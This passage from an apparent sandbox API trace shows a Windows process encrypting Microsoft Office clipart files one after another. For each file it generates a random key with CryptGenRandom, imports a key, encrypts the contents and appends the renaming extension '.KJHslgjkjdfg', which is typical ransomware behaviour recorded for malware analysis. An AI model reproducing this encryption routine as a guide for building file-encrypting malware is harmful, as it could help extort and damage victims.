lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.904] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.904] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.904] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.904] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.904] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.904] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.905] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaa4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaa4, lpOverlapped=0x0) returned 1 [0211.905] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab0, dwBufLen=0xab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab0) returned 1 [0211.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.905] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xab0, lpOverlapped=0x0) returned 1 [0211.905] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.905] SetEndOfFile (hFile=0x130) returned 1 [0211.908] GetProcessHeap () returned 0x990000 [0211.908] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.908] GetProcessHeap () returned 0x990000 [0211.908] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.kjhslgjkjdfg")) returned 1 [0211.910] CloseHandle (hObject=0x130) returned 1 [0211.910] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0211.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.912] GetProcessHeap () returned 0x990000 [0211.912] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.912] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.912] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.915] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.915] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.915] GetProcessHeap () returned 0x990000 [0211.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.915] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.915] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.915] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.915] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.916] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.916] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.916] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.916] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.916] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1724, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1724, lpOverlapped=0x0) returned 1 [0211.917] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1730, dwBufLen=0x1730 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1730) returned 1 [0211.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.917] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1730, lpOverlapped=0x0) returned 1 [0211.917] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.918] SetEndOfFile (hFile=0x130) returned 1 [0211.920] GetProcessHeap () returned 0x990000 [0211.920] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.920] GetProcessHeap () returned 0x990000 [0211.920] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.kjhslgjkjdfg")) returned 1 [0211.922] CloseHandle (hObject=0x130) returned 1 [0211.922] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0211.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.924] GetProcessHeap () returned 0x990000 [0211.924] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.924] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.925] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0211.927] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.927] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.927] GetProcessHeap () returned 0x990000 [0211.927] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.927] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.927] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.927] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.927] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.927] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.927] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.928] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.928] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.928] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.928] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2602, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2602, lpOverlapped=0x0) returned 1 [0211.929] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610, dwBufLen=0x2610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610) returned 1 [0211.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.930] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2610, lpOverlapped=0x0) returned 1 [0211.930] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.930] SetEndOfFile (hFile=0x130) returned 1 [0211.933] GetProcessHeap () returned 0x990000 [0211.933] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.933] GetProcessHeap () returned 0x990000 [0211.933] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.kjhslgjkjdfg")) returned 1 [0211.934] CloseHandle (hObject=0x130) returned 1 [0211.935] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0211.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.936] GetProcessHeap () returned 0x990000 [0211.936] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.936] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.936] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.936] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.936] GetProcessHeap () returned 0x990000 [0211.936] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.936] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.936] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.936] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.973] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.974] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.974] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.974] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.974] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.974] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.975] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6260, lpOverlapped=0x0) returned 1 [0211.976] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6260, dwBufLen=0x6260 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6260) returned 1 [0211.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.976] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6260, lpOverlapped=0x0) returned 1 [0211.977] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.977] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.977] SetEndOfFile (hFile=0x130) returned 1 [0212.006] GetProcessHeap () returned 0x990000 [0212.006] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.006] GetProcessHeap () returned 0x990000 [0212.006] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.kjhslgjkjdfg")) returned 1 [0212.008] CloseHandle (hObject=0x130) returned 1 [0212.008] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0212.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.009] GetProcessHeap () returned 0x990000 [0212.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.009] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.010] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.010] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.010] GetProcessHeap () returned 0x990000 [0212.010] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.010] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.010] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.010] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.038] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.039] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.039] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.039] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.039] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.039] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.039] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9c80, lpOverlapped=0x0) returned 1 [0212.040] CryptEncrypt 